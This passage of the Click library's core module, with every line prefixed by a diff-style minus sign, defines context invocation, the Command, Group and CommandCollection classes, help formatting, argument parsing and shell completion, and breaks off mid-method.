command. - """ - return self.command.get_help(self) - - def _make_sub_context(self, command: Command) -> Context: - """Create a new context of the same type as this context, but - for a new command. - - :meta private: - """ - return type(self)(command, info_name=command.name, parent=self) - - @t.overload - def invoke( - self, callback: t.Callable[..., V], /, *args: t.Any, **kwargs: t.Any - ) -> V: ... - - @t.overload - def invoke(self, callback: Command, /, *args: t.Any, **kwargs: t.Any) -> t.Any: ... - - def invoke( - self, callback: Command | t.Callable[..., V], /, *args: t.Any, **kwargs: t.Any - ) -> t.Any | V: - """Invokes a command callback in exactly the way it expects. There - are two ways to invoke this method: - - 1. the first argument can be a callback and all other arguments and - keyword arguments are forwarded directly to the function. - 2. the first argument is a click command object. In that case all - arguments are forwarded as well but proper click parameters - (options and click arguments) must be keyword arguments and Click - will fill in defaults. - - .. versionchanged:: 8.0 - All ``kwargs`` are tracked in :attr:`params` so they will be - passed if :meth:`forward` is called at multiple levels. - - .. versionchanged:: 3.2 - A new context is created, and missing arguments use default values. - """ - if isinstance(callback, Command): - other_cmd = callback - - if other_cmd.callback is None: - raise TypeError( - "The given command does not have a callback that can be invoked." - ) - else: - callback = t.cast("t.Callable[..., V]", other_cmd.callback) - - ctx = self._make_sub_context(other_cmd) - - for param in other_cmd.params: - if param.name not in kwargs and param.expose_value: - kwargs[param.name] = param.type_cast_value( # type: ignore - ctx, param.get_default(ctx) - ) - - # Track all kwargs as params, so that forward() will pass - # them on in subsequent calls. - ctx.params.update(kwargs) - else: - ctx = self - - with augment_usage_errors(self): - with ctx: - return callback(*args, **kwargs) - - def forward(self, cmd: Command, /, *args: t.Any, **kwargs: t.Any) -> t.Any: - """Similar to :meth:`invoke` but fills in default keyword - arguments from the current context if the other command expects - it. This cannot invoke callbacks directly, only other commands. - - .. versionchanged:: 8.0 - All ``kwargs`` are tracked in :attr:`params` so they will be - passed if ``forward`` is called at multiple levels. - """ - # Can only forward to other commands, not direct callbacks. - if not isinstance(cmd, Command): - raise TypeError("Callback is not a command.") - - for param in self.params: - if param not in kwargs: - kwargs[param] = self.params[param] - - return self.invoke(cmd, *args, **kwargs) - - def set_parameter_source(self, name: str, source: ParameterSource) -> None: - """Set the source of a parameter. This indicates the location - from which the value of the parameter was obtained. - - :param name: The name of the parameter. - :param source: A member of :class:`~click.core.ParameterSource`. - """ - self._parameter_source[name] = source - - def get_parameter_source(self, name: str) -> ParameterSource | None: - """Get the source of a parameter. This indicates the location - from which the value of the parameter was obtained. - - This can be useful for determining when a user specified a value - on the command line that is the same as the default value. It - will be :attr:`~click.core.ParameterSource.DEFAULT` only if the - value was actually taken from the default. - - :param name: The name of the parameter. - :rtype: ParameterSource - - .. versionchanged:: 8.0 - Returns ``None`` if the parameter was not provided from any - source. - """ - return self._parameter_source.get(name) - - -class Command: - """Commands are the basic building block of command line interfaces in - Click. A basic command handles command line parsing and might dispatch - more parsing to commands nested below it. - - :param name: the name of the command to use unless a group overrides it. - :param context_settings: an optional dictionary with defaults that are - passed to the context object. - :param callback: the callback to invoke. This is optional. - :param params: the parameters to register with this command. This can - be either :class:`Option` or :class:`Argument` objects. - :param help: the help string to use for this command. - :param epilog: like the help string but it's printed at the end of the - help page after everything else. - :param short_help: the short help to use for this command. This is - shown on the command listing of the parent command. - :param add_help_option: by default each command registers a ``--help`` - option. This can be disabled by this parameter. - :param no_args_is_help: this controls what happens if no arguments are - provided. This option is disabled by default. - If enabled this will add ``--help`` as argument - if no arguments are passed - :param hidden: hide this command from help outputs. - :param deprecated: If ``True`` or non-empty string, issues a message - indicating that the command is deprecated and highlights - its deprecation in --help. The message can be customized - by using a string as the value. - - .. versionchanged:: 8.2 - This is the base class for all commands, not ``BaseCommand``. - ``deprecated`` can be set to a string as well to customize the - deprecation message. - - .. versionchanged:: 8.1 - ``help``, ``epilog``, and ``short_help`` are stored unprocessed, - all formatting is done when outputting help text, not at init, - and is done even if not using the ``@command`` decorator. - - .. versionchanged:: 8.0 - Added a ``repr`` showing the command name. - - .. versionchanged:: 7.1 - Added the ``no_args_is_help`` parameter. - - .. versionchanged:: 2.0 - Added the ``context_settings`` parameter. - """ - - #: The context class to create with :meth:`make_context`. - #: - #: .. versionadded:: 8.0 - context_class: type[Context] = Context - - #: the default for the :attr:`Context.allow_extra_args` flag. - allow_extra_args = False - - #: the default for the :attr:`Context.allow_interspersed_args` flag. - allow_interspersed_args = True - - #: the default for the :attr:`Context.ignore_unknown_options` flag. - ignore_unknown_options = False - - def __init__( - self, - name: str | None, - context_settings: cabc.MutableMapping[str, t.Any] | None = None, - callback: t.Callable[..., t.Any] | None = None, - params: list[Parameter] | None = None, - help: str | None = None, - epilog: str | None = None, - short_help: str | None = None, - options_metavar: str | None = "[OPTIONS]", - add_help_option: bool = True, - no_args_is_help: bool = False, - hidden: bool = False, - deprecated: bool | str = False, - ) -> None: - #: the name the command thinks it has. Upon registering a command - #: on a :class:`Group` the group will default the command name - #: with this information. You should instead use the - #: :class:`Context`\'s :attr:`~Context.info_name` attribute. - self.name = name - - if context_settings is None: - context_settings = {} - - #: an optional dictionary with defaults passed to the context. - self.context_settings: cabc.MutableMapping[str, t.Any] = context_settings - - #: the callback to execute when the command fires. This might be - #: `None` in which case nothing happens. - self.callback = callback - #: the list of parameters for this command in the order they - #: should show up in the help page and execute. Eager parameters - #: will automatically be handled before non eager ones. - self.params: list[Parameter] = params or [] - self.help = help - self.epilog = epilog - self.options_metavar = options_metavar - self.short_help = short_help - self.add_help_option = add_help_option - self._help_option = None - self.no_args_is_help = no_args_is_help - self.hidden = hidden - self.deprecated = deprecated - - def to_info_dict(self, ctx: Context) -> dict[str, t.Any]: - return { - "name": self.name, - "params": [param.to_info_dict() for param in self.get_params(ctx)], - "help": self.help, - "epilog": self.epilog, - "short_help": self.short_help, - "hidden": self.hidden, - "deprecated": self.deprecated, - } - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} {self.name}>" - - def get_usage(self, ctx: Context) -> str: - """Formats the usage line into a string and returns it. - - Calls :meth:`format_usage` internally. - """ - formatter = ctx.make_formatter() - self.format_usage(ctx, formatter) - return formatter.getvalue().rstrip("\n") - - def get_params(self, ctx: Context) -> list[Parameter]: - params = self.params - help_option = self.get_help_option(ctx) - - if help_option is not None: - params = [*params, help_option] - - if __debug__: - import warnings - - opts = [opt for param in params for opt in param.opts] - opts_counter = Counter(opts) - duplicate_opts = (opt for opt, count in opts_counter.items() if count > 1) - - for duplicate_opt in duplicate_opts: - warnings.warn( - ( - f"The parameter {duplicate_opt} is used more than once. " - "Remove its duplicate as parameters should be unique." - ), - stacklevel=3, - ) - - return params - - def format_usage(self, ctx: Context, formatter: HelpFormatter) -> None: - """Writes the usage line into the formatter. - - This is a low-level method called by :meth:`get_usage`. - """ - pieces = self.collect_usage_pieces(ctx) - formatter.write_usage(ctx.command_path, " ".join(pieces)) - - def collect_usage_pieces(self, ctx: Context) -> list[str]: - """Returns all the pieces that go into the usage line and returns - it as a list of strings. - """ - rv = [self.options_metavar] if self.options_metavar else [] - - for param in self.get_params(ctx): - rv.extend(param.get_usage_pieces(ctx)) - - return rv - - def get_help_option_names(self, ctx: Context) -> list[str]: - """Returns the names for the help option.""" - all_names = set(ctx.help_option_names) - for param in self.params: - all_names.difference_update(param.opts) - all_names.difference_update(param.secondary_opts) - return list(all_names) - - def get_help_option(self, ctx: Context) -> Option | None: - """Returns the help option object. - - Skipped if :attr:`add_help_option` is ``False``. - - .. versionchanged:: 8.1.8 - The help option is now cached to avoid creating it multiple times. - """ - help_option_names = self.get_help_option_names(ctx) - - if not help_option_names or not self.add_help_option: - return None - - # Cache the help option object in private _help_option attribute to - # avoid creating it multiple times. Not doing this will break the - # callback odering by iter_params_for_processing(), which relies on - # object comparison. - if self._help_option is None: - # Avoid circular import. - from .decorators import help_option - - # Apply help_option decorator and pop resulting option - help_option(*help_option_names)(self) - self._help_option = self.params.pop() # type: ignore[assignment] - - return self._help_option - - def make_parser(self, ctx: Context) -> _OptionParser: - """Creates the underlying option parser for this command.""" - parser = _OptionParser(ctx) - for param in self.get_params(ctx): - param.add_to_parser(parser, ctx) - return parser - - def get_help(self, ctx: Context) -> str: - """Formats the help into a string and returns it. - - Calls :meth:`format_help` internally. - """ - formatter = ctx.make_formatter() - self.format_help(ctx, formatter) - return formatter.getvalue().rstrip("\n") - - def get_short_help_str(self, limit: int = 45) -> str: - """Gets short help for the command or makes it by shortening the - long help string. - """ - if self.short_help: - text = inspect.cleandoc(self.short_help) - elif self.help: - text = make_default_short_help(self.help, limit) - else: - text = "" - - if self.deprecated: - deprecated_message = ( - f"(DEPRECATED: {self.deprecated})" - if isinstance(self.deprecated, str) - else "(DEPRECATED)" - ) - text = _("{text} {deprecated_message}").format( - text=text, deprecated_message=deprecated_message - ) - - return text.strip() - - def format_help(self, ctx: Context, formatter: HelpFormatter) -> None: - """Writes the help into the formatter if it exists. - - This is a low-level method called by :meth:`get_help`. - - This calls the following methods: - - - :meth:`format_usage` - - :meth:`format_help_text` - - :meth:`format_options` - - :meth:`format_epilog` - """ - self.format_usage(ctx, formatter) - self.format_help_text(ctx, formatter) - self.format_options(ctx, formatter) - self.format_epilog(ctx, formatter) - - def format_help_text(self, ctx: Context, formatter: HelpFormatter) -> None: - """Writes the help text to the formatter if it exists.""" - if self.help is not None: - # truncate the help text to the first form feed - text = inspect.cleandoc(self.help).partition("\f")[0] - else: - text = "" - - if self.deprecated: - deprecated_message = ( - f"(DEPRECATED: {self.deprecated})" - if isinstance(self.deprecated, str) - else "(DEPRECATED)" - ) - text = _("{text} {deprecated_message}").format( - text=text, deprecated_message=deprecated_message - ) - - if text: - formatter.write_paragraph() - - with formatter.indentation(): - formatter.write_text(text) - - def format_options(self, ctx: Context, formatter: HelpFormatter) -> None: - """Writes all the options into the formatter if they exist.""" - opts = [] - for param in self.get_params(ctx): - rv = param.get_help_record(ctx) - if rv is not None: - opts.append(rv) - - if opts: - with formatter.section(_("Options")): - formatter.write_dl(opts) - - def format_epilog(self, ctx: Context, formatter: HelpFormatter) -> None: - """Writes the epilog into the formatter if it exists.""" - if self.epilog: - epilog = inspect.cleandoc(self.epilog) - formatter.write_paragraph() - - with formatter.indentation(): - formatter.write_text(epilog) - - def make_context( - self, - info_name: str | None, - args: list[str], - parent: Context | None = None, - **extra: t.Any, - ) -> Context: - """This function when given an info name and arguments will kick - off the parsing and create a new :class:`Context`. It does not - invoke the actual command callback though. - - To quickly customize the context class used without overriding - this method, set the :attr:`context_class` attribute. - - :param info_name: the info name for this invocation. Generally this - is the most descriptive name for the script or - command. For the toplevel script it's usually - the name of the script, for commands below it's - the name of the command. - :param args: the arguments to parse as list of strings. - :param parent: the parent context if available. - :param extra: extra keyword arguments forwarded to the context - constructor. - - .. versionchanged:: 8.0 - Added the :attr:`context_class` attribute. - """ - for key, value in self.context_settings.items(): - if key not in extra: - extra[key] = value - - ctx = self.context_class(self, info_name=info_name, parent=parent, **extra) - - with ctx.scope(cleanup=False): - self.parse_args(ctx, args) - return ctx - - def parse_args(self, ctx: Context, args: list[str]) -> list[str]: - if not args and self.no_args_is_help and not ctx.resilient_parsing: - raise NoArgsIsHelpError(ctx) - - parser = self.make_parser(ctx) - opts, args, param_order = parser.parse_args(args=args) - - for param in iter_params_for_processing(param_order, self.get_params(ctx)): - value, args = param.handle_parse_result(ctx, opts, args) - - if args and not ctx.allow_extra_args and not ctx.resilient_parsing: - ctx.fail( - ngettext( - "Got unexpected extra argument ({args})", - "Got unexpected extra arguments ({args})", - len(args), - ).format(args=" ".join(map(str, args))) - ) - - ctx.args = args - ctx._opt_prefixes.update(parser._opt_prefixes) - return args - - def invoke(self, ctx: Context) -> t.Any: - """Given a context, this invokes the attached callback (if it exists) - in the right way. - """ - if self.deprecated: - extra_message = ( - f" {self.deprecated}" if isinstance(self.deprecated, str) else "" - ) - message = _( - "DeprecationWarning: The command {name!r} is deprecated.{extra_message}" - ).format(name=self.name, extra_message=extra_message) - echo(style(message, fg="red"), err=True) - - if self.callback is not None: - return ctx.invoke(self.callback, **ctx.params) - - def shell_complete(self, ctx: Context, incomplete: str) -> list[CompletionItem]: - """Return a list of completions for the incomplete value. Looks - at the names of options and chained multi-commands. - - Any command could be part of a chained multi-command, so sibling - commands are valid at any point during command completion. - - :param ctx: Invocation context for this command. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - results: list[CompletionItem] = [] - - if incomplete and not incomplete[0].isalnum(): - for param in self.get_params(ctx): - if ( - not isinstance(param, Option) - or param.hidden - or ( - not param.multiple - and ctx.get_parameter_source(param.name) # type: ignore - is ParameterSource.COMMANDLINE - ) - ): - continue - - results.extend( - CompletionItem(name, help=param.help) - for name in [*param.opts, *param.secondary_opts] - if name.startswith(incomplete) - ) - - while ctx.parent is not None: - ctx = ctx.parent - - if isinstance(ctx.command, Group) and ctx.command.chain: - results.extend( - CompletionItem(name, help=command.get_short_help_str()) - for name, command in _complete_visible_commands(ctx, incomplete) - if name not in ctx._protected_args - ) - - return results - - @t.overload - def main( - self, - args: cabc.Sequence[str] | None = None, - prog_name: str | None = None, - complete_var: str | None = None, - standalone_mode: t.Literal[True] = True, - **extra: t.Any, - ) -> t.NoReturn: ... - - @t.overload - def main( - self, - args: cabc.Sequence[str] | None = None, - prog_name: str | None = None, - complete_var: str | None = None, - standalone_mode: bool = ..., - **extra: t.Any, - ) -> t.Any: ... - - def main( - self, - args: cabc.Sequence[str] | None = None, - prog_name: str | None = None, - complete_var: str | None = None, - standalone_mode: bool = True, - windows_expand_args: bool = True, - **extra: t.Any, - ) -> t.Any: - """This is the way to invoke a script with all the bells and - whistles as a command line application. This will always terminate - the application after a call. If this is not wanted, ``SystemExit`` - needs to be caught. - - This method is also available by directly calling the instance of - a :class:`Command`. - - :param args: the arguments that should be used for parsing. If not - provided, ``sys.argv[1:]`` is used. - :param prog_name: the program name that should be used. By default - the program name is constructed by taking the file - name from ``sys.argv[0]``. - :param complete_var: the environment variable that controls the - bash completion support. The default is - ``"__COMPLETE"`` with prog_name in - uppercase. - :param standalone_mode: the default behavior is to invoke the script - in standalone mode. Click will then - handle exceptions and convert them into - error messages and the function will never - return but shut down the interpreter. If - this is set to `False` they will be - propagated to the caller and the return - value of this function is the return value - of :meth:`invoke`. - :param windows_expand_args: Expand glob patterns, user dir, and - env vars in command line args on Windows. - :param extra: extra keyword arguments are forwarded to the context - constructor. See :class:`Context` for more information. - - .. versionchanged:: 8.0.1 - Added the ``windows_expand_args`` parameter to allow - disabling command line arg expansion on Windows. - - .. versionchanged:: 8.0 - When taking arguments from ``sys.argv`` on Windows, glob - patterns, user dir, and env vars are expanded. - - .. versionchanged:: 3.0 - Added the ``standalone_mode`` parameter. - """ - if args is None: - args = sys.argv[1:] - - if os.name == "nt" and windows_expand_args: - args = _expand_args(args) - else: - args = list(args) - - if prog_name is None: - prog_name = _detect_program_name() - - # Process shell completion requests and exit early. - self._main_shell_completion(extra, prog_name, complete_var) - - try: - try: - with self.make_context(prog_name, args, **extra) as ctx: - rv = self.invoke(ctx) - if not standalone_mode: - return rv - # it's not safe to `ctx.exit(rv)` here! - # note that `rv` may actually contain data like "1" which - # has obvious effects - # more subtle case: `rv=[None, None]` can come out of - # chained commands which all returned `None` -- so it's not - # even always obvious that `rv` indicates success/failure - # by its truthiness/falsiness - ctx.exit() - except (EOFError, KeyboardInterrupt) as e: - echo(file=sys.stderr) - raise Abort() from e - except ClickException as e: - if not standalone_mode: - raise - e.show() - sys.exit(e.exit_code) - except OSError as e: - if e.errno == errno.EPIPE: - sys.stdout = t.cast(t.TextIO, PacifyFlushWrapper(sys.stdout)) - sys.stderr = t.cast(t.TextIO, PacifyFlushWrapper(sys.stderr)) - sys.exit(1) - else: - raise - except Exit as e: - if standalone_mode: - sys.exit(e.exit_code) - else: - # in non-standalone mode, return the exit code - # note that this is only reached if `self.invoke` above raises - # an Exit explicitly -- thus bypassing the check there which - # would return its result - # the results of non-standalone execution may therefore be - # somewhat ambiguous: if there are codepaths which lead to - # `ctx.exit(1)` and to `return 1`, the caller won't be able to - # tell the difference between the two - return e.exit_code - except Abort: - if not standalone_mode: - raise - echo(_("Aborted!"), file=sys.stderr) - sys.exit(1) - - def _main_shell_completion( - self, - ctx_args: cabc.MutableMapping[str, t.Any], - prog_name: str, - complete_var: str | None = None, - ) -> None: - """Check if the shell is asking for tab completion, process - that, then exit early. Called from :meth:`main` before the - program is invoked. - - :param prog_name: Name of the executable in the shell. - :param complete_var: Name of the environment variable that holds - the completion instruction. Defaults to - ``_{PROG_NAME}_COMPLETE``. - - .. versionchanged:: 8.2.0 - Dots (``.``) in ``prog_name`` are replaced with underscores (``_``). - """ - if complete_var is None: - complete_name = prog_name.replace("-", "_").replace(".", "_") - complete_var = f"_{complete_name}_COMPLETE".upper() - - instruction = os.environ.get(complete_var) - - if not instruction: - return - - from .shell_completion import shell_complete - - rv = shell_complete(self, ctx_args, prog_name, complete_var, instruction) - sys.exit(rv) - - def __call__(self, *args: t.Any, **kwargs: t.Any) -> t.Any: - """Alias for :meth:`main`.""" - return self.main(*args, **kwargs) - - -class _FakeSubclassCheck(type): - def __subclasscheck__(cls, subclass: type) -> bool: - return issubclass(subclass, cls.__bases__[0]) - - def __instancecheck__(cls, instance: t.Any) -> bool: - return isinstance(instance, cls.__bases__[0]) - - -class _BaseCommand(Command, metaclass=_FakeSubclassCheck): - """ - .. deprecated:: 8.2 - Will be removed in Click 9.0. Use ``Command`` instead. - """ - - -class Group(Command): - """A group is a command that nests other commands (or more groups). - - :param name: The name of the group command. - :param commands: Map names to :class:`Command` objects. Can be a list, which - will use :attr:`Command.name` as the keys. - :param invoke_without_command: Invoke the group's callback even if a - subcommand is not given. - :param no_args_is_help: If no arguments are given, show the group's help and - exit. Defaults to the opposite of ``invoke_without_command``. - :param subcommand_metavar: How to represent the subcommand argument in help. - The default will represent whether ``chain`` is set or not. - :param chain: Allow passing more than one subcommand argument. After parsing - a command's arguments, if any arguments remain another command will be - matched, and so on. - :param result_callback: A function to call after the group's and - subcommand's callbacks. The value returned by the subcommand is passed. - If ``chain`` is enabled, the value will be a list of values returned by - all the commands. If ``invoke_without_command`` is enabled, the value - will be the value returned by the group's callback, or an empty list if - ``chain`` is enabled. - :param kwargs: Other arguments passed to :class:`Command`. - - .. versionchanged:: 8.0 - The ``commands`` argument can be a list of command objects. - - .. versionchanged:: 8.2 - Merged with and replaces the ``MultiCommand`` base class. - """ - - allow_extra_args = True - allow_interspersed_args = False - - #: If set, this is used by the group's :meth:`command` decorator - #: as the default :class:`Command` class. This is useful to make all - #: subcommands use a custom command class. - #: - #: .. versionadded:: 8.0 - command_class: type[Command] | None = None - - #: If set, this is used by the group's :meth:`group` decorator - #: as the default :class:`Group` class. This is useful to make all - #: subgroups use a custom group class. - #: - #: If set to the special value :class:`type` (literally - #: ``group_class = type``), this group's class will be used as the - #: default class. This makes a custom group class continue to make - #: custom groups. - #: - #: .. versionadded:: 8.0 - group_class: type[Group] | type[type] | None = None - # Literal[type] isn't valid, so use Type[type] - - def __init__( - self, - name: str | None = None, - commands: cabc.MutableMapping[str, Command] - | cabc.Sequence[Command] - | None = None, - invoke_without_command: bool = False, - no_args_is_help: bool | None = None, - subcommand_metavar: str | None = None, - chain: bool = False, - result_callback: t.Callable[..., t.Any] | None = None, - **kwargs: t.Any, - ) -> None: - super().__init__(name, **kwargs) - - if commands is None: - commands = {} - elif isinstance(commands, abc.Sequence): - commands = {c.name: c for c in commands if c.name is not None} - - #: The registered subcommands by their exported names. - self.commands: cabc.MutableMapping[str, Command] = commands - - if no_args_is_help is None: - no_args_is_help = not invoke_without_command - - self.no_args_is_help = no_args_is_help - self.invoke_without_command = invoke_without_command - - if subcommand_metavar is None: - if chain: - subcommand_metavar = "COMMAND1 [ARGS]... [COMMAND2 [ARGS]...]..." - else: - subcommand_metavar = "COMMAND [ARGS]..." - - self.subcommand_metavar = subcommand_metavar - self.chain = chain - # The result callback that is stored. This can be set or - # overridden with the :func:`result_callback` decorator. - self._result_callback = result_callback - - if self.chain: - for param in self.params: - if isinstance(param, Argument) and not param.required: - raise RuntimeError( - "A group in chain mode cannot have optional arguments." - ) - - def to_info_dict(self, ctx: Context) -> dict[str, t.Any]: - info_dict = super().to_info_dict(ctx) - commands = {} - - for name in self.list_commands(ctx): - command = self.get_command(ctx, name) - - if command is None: - continue - - sub_ctx = ctx._make_sub_context(command) - - with sub_ctx.scope(cleanup=False): - commands[name] = command.to_info_dict(sub_ctx) - - info_dict.update(commands=commands, chain=self.chain) - return info_dict - - def add_command(self, cmd: Command, name: str | None = None) -> None: - """Registers another :class:`Command` with this group. If the name - is not provided, the name of the command is used. - """ - name = name or cmd.name - if name is None: - raise TypeError("Command has no name.") - _check_nested_chain(self, name, cmd, register=True) - self.commands[name] = cmd - - @t.overload - def command(self, __func: t.Callable[..., t.Any]) -> Command: ... - - @t.overload - def command( - self, *args: t.Any, **kwargs: t.Any - ) -> t.Callable[[t.Callable[..., t.Any]], Command]: ... - - def command( - self, *args: t.Any, **kwargs: t.Any - ) -> t.Callable[[t.Callable[..., t.Any]], Command] | Command: - """A shortcut decorator for declaring and attaching a command to - the group. This takes the same arguments as :func:`command` and - immediately registers the created command with this group by - calling :meth:`add_command`. - - To customize the command class used, set the - :attr:`command_class` attribute. - - .. versionchanged:: 8.1 - This decorator can be applied without parentheses. - - .. versionchanged:: 8.0 - Added the :attr:`command_class` attribute. - """ - from .decorators import command - - func: t.Callable[..., t.Any] | None = None - - if args and callable(args[0]): - assert len(args) == 1 and not kwargs, ( - "Use 'command(**kwargs)(callable)' to provide arguments." - ) - (func,) = args - args = () - - if self.command_class and kwargs.get("cls") is None: - kwargs["cls"] = self.command_class - - def decorator(f: t.Callable[..., t.Any]) -> Command: - cmd: Command = command(*args, **kwargs)(f) - self.add_command(cmd) - return cmd - - if func is not None: - return decorator(func) - - return decorator - - @t.overload - def group(self, __func: t.Callable[..., t.Any]) -> Group: ... - - @t.overload - def group( - self, *args: t.Any, **kwargs: t.Any - ) -> t.Callable[[t.Callable[..., t.Any]], Group]: ... - - def group( - self, *args: t.Any, **kwargs: t.Any - ) -> t.Callable[[t.Callable[..., t.Any]], Group] | Group: - """A shortcut decorator for declaring and attaching a group to - the group. This takes the same arguments as :func:`group` and - immediately registers the created group with this group by - calling :meth:`add_command`. - - To customize the group class used, set the :attr:`group_class` - attribute. - - .. versionchanged:: 8.1 - This decorator can be applied without parentheses. - - .. versionchanged:: 8.0 - Added the :attr:`group_class` attribute. - """ - from .decorators import group - - func: t.Callable[..., t.Any] | None = None - - if args and callable(args[0]): - assert len(args) == 1 and not kwargs, ( - "Use 'group(**kwargs)(callable)' to provide arguments." - ) - (func,) = args - args = () - - if self.group_class is not None and kwargs.get("cls") is None: - if self.group_class is type: - kwargs["cls"] = type(self) - else: - kwargs["cls"] = self.group_class - - def decorator(f: t.Callable[..., t.Any]) -> Group: - cmd: Group = group(*args, **kwargs)(f) - self.add_command(cmd) - return cmd - - if func is not None: - return decorator(func) - - return decorator - - def result_callback(self, replace: bool = False) -> t.Callable[[F], F]: - """Adds a result callback to the command. By default if a - result callback is already registered this will chain them but - this can be disabled with the `replace` parameter. The result - callback is invoked with the return value of the subcommand - (or the list of return values from all subcommands if chaining - is enabled) as well as the parameters as they would be passed - to the main callback. - - Example:: - - @click.group() - @click.option('-i', '--input', default=23) - def cli(input): - return 42 - - @cli.result_callback() - def process_result(result, input): - return result + input - - :param replace: if set to `True` an already existing result - callback will be removed. - - .. versionchanged:: 8.0 - Renamed from ``resultcallback``. - - .. versionadded:: 3.0 - """ - - def decorator(f: F) -> F: - old_callback = self._result_callback - - if old_callback is None or replace: - self._result_callback = f - return f - - def function(value: t.Any, /, *args: t.Any, **kwargs: t.Any) -> t.Any: - inner = old_callback(value, *args, **kwargs) - return f(inner, *args, **kwargs) - - self._result_callback = rv = update_wrapper(t.cast(F, function), f) - return rv # type: ignore[return-value] - - return decorator - - def get_command(self, ctx: Context, cmd_name: str) -> Command | None: - """Given a context and a command name, this returns a :class:`Command` - object if it exists or returns ``None``. - """ - return self.commands.get(cmd_name) - - def list_commands(self, ctx: Context) -> list[str]: - """Returns a list of subcommand names in the order they should appear.""" - return sorted(self.commands) - - def collect_usage_pieces(self, ctx: Context) -> list[str]: - rv = super().collect_usage_pieces(ctx) - rv.append(self.subcommand_metavar) - return rv - - def format_options(self, ctx: Context, formatter: HelpFormatter) -> None: - super().format_options(ctx, formatter) - self.format_commands(ctx, formatter) - - def format_commands(self, ctx: Context, formatter: HelpFormatter) -> None: - """Extra format methods for multi methods that adds all the commands - after the options. - """ - commands = [] - for subcommand in self.list_commands(ctx): - cmd = self.get_command(ctx, subcommand) - # What is this, the tool lied about a command. Ignore it - if cmd is None: - continue - if cmd.hidden: - continue - - commands.append((subcommand, cmd)) - - # allow for 3 times the default spacing - if len(commands): - limit = formatter.width - 6 - max(len(cmd[0]) for cmd in commands) - - rows = [] - for subcommand, cmd in commands: - help = cmd.get_short_help_str(limit) - rows.append((subcommand, help)) - - if rows: - with formatter.section(_("Commands")): - formatter.write_dl(rows) - - def parse_args(self, ctx: Context, args: list[str]) -> list[str]: - if not args and self.no_args_is_help and not ctx.resilient_parsing: - raise NoArgsIsHelpError(ctx) - - rest = super().parse_args(ctx, args) - - if self.chain: - ctx._protected_args = rest - ctx.args = [] - elif rest: - ctx._protected_args, ctx.args = rest[:1], rest[1:] - - return ctx.args - - def invoke(self, ctx: Context) -> t.Any: - def _process_result(value: t.Any) -> t.Any: - if self._result_callback is not None: - value = ctx.invoke(self._result_callback, value, **ctx.params) - return value - - if not ctx._protected_args: - if self.invoke_without_command: - # No subcommand was invoked, so the result callback is - # invoked with the group return value for regular - # groups, or an empty list for chained groups. - with ctx: - rv = super().invoke(ctx) - return _process_result([] if self.chain else rv) - ctx.fail(_("Missing command.")) - - # Fetch args back out - args = [*ctx._protected_args, *ctx.args] - ctx.args = [] - ctx._protected_args = [] - - # If we're not in chain mode, we only allow the invocation of a - # single command but we also inform the current context about the - # name of the command to invoke. - if not self.chain: - # Make sure the context is entered so we do not clean up - # resources until the result processor has worked. - with ctx: - cmd_name, cmd, args = self.resolve_command(ctx, args) - assert cmd is not None - ctx.invoked_subcommand = cmd_name - super().invoke(ctx) - sub_ctx = cmd.make_context(cmd_name, args, parent=ctx) - with sub_ctx: - return _process_result(sub_ctx.command.invoke(sub_ctx)) - - # In chain mode we create the contexts step by step, but after the - # base command has been invoked. Because at that point we do not - # know the subcommands yet, the invoked subcommand attribute is - # set to ``*`` to inform the command that subcommands are executed - # but nothing else. - with ctx: - ctx.invoked_subcommand = "*" if args else None - super().invoke(ctx) - - # Otherwise we make every single context and invoke them in a - # chain. In that case the return value to the result processor - # is the list of all invoked subcommand's results. - contexts = [] - while args: - cmd_name, cmd, args = self.resolve_command(ctx, args) - assert cmd is not None - sub_ctx = cmd.make_context( - cmd_name, - args, - parent=ctx, - allow_extra_args=True, - allow_interspersed_args=False, - ) - contexts.append(sub_ctx) - args, sub_ctx.args = sub_ctx.args, [] - - rv = [] - for sub_ctx in contexts: - with sub_ctx: - rv.append(sub_ctx.command.invoke(sub_ctx)) - return _process_result(rv) - - def resolve_command( - self, ctx: Context, args: list[str] - ) -> tuple[str | None, Command | None, list[str]]: - cmd_name = make_str(args[0]) - original_cmd_name = cmd_name - - # Get the command - cmd = self.get_command(ctx, cmd_name) - - # If we can't find the command but there is a normalization - # function available, we try with that one. - if cmd is None and ctx.token_normalize_func is not None: - cmd_name = ctx.token_normalize_func(cmd_name) - cmd = self.get_command(ctx, cmd_name) - - # If we don't find the command we want to show an error message - # to the user that it was not provided. However, there is - # something else we should do: if the first argument looks like - # an option we want to kick off parsing again for arguments to - # resolve things like --help which now should go to the main - # place. - if cmd is None and not ctx.resilient_parsing: - if _split_opt(cmd_name)[0]: - self.parse_args(ctx, args) - ctx.fail(_("No such command {name!r}.").format(name=original_cmd_name)) - return cmd_name if cmd else None, cmd, args[1:] - - def shell_complete(self, ctx: Context, incomplete: str) -> list[CompletionItem]: - """Return a list of completions for the incomplete value. Looks - at the names of options, subcommands, and chained - multi-commands. - - :param ctx: Invocation context for this command. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - results = [ - CompletionItem(name, help=command.get_short_help_str()) - for name, command in _complete_visible_commands(ctx, incomplete) - ] - results.extend(super().shell_complete(ctx, incomplete)) - return results - - -class _MultiCommand(Group, metaclass=_FakeSubclassCheck): - """ - .. deprecated:: 8.2 - Will be removed in Click 9.0. Use ``Group`` instead. - """ - - -class CommandCollection(Group): - """A :class:`Group` that looks up subcommands on other groups. If a command - is not found on this group, each registered source is checked in order. - Parameters on a source are not added to this group, and a source's callback - is not invoked when invoking its commands. In other words, this "flattens" - commands in many groups into this one group. - - :param name: The name of the group command. - :param sources: A list of :class:`Group` objects to look up commands from. - :param kwargs: Other arguments passed to :class:`Group`. - - .. versionchanged:: 8.2 - This is a subclass of ``Group``. Commands are looked up first on this - group, then each of its sources. - """ - - def __init__( - self, - name: str | None = None, - sources: list[Group] | None = None, - **kwargs: t.Any, - ) -> None: - super().__init__(name, **kwargs) - #: The list of registered groups. - self.sources: list[Group] = sources or [] - - def add_source(self, group: Group) -> None: - """Add a group as a source of commands.""" - self.sources.append(group) - - def get_command(self, ctx: Context, cmd_name: str) -> Command | None: - rv = super().get_command(ctx, cmd_name) - - if rv is not None: - return rv - - for source in self.sources: - rv = source.get_command(ctx, cmd_name) - - if rv is not None: - if self.chain: - _check_nested_chain(self, cmd_name, rv) - - return rv - - return None - - def list_commands(self, ctx: Context) -> list[str]: - rv: set[str] = set(super().list_commands(ctx)) - - 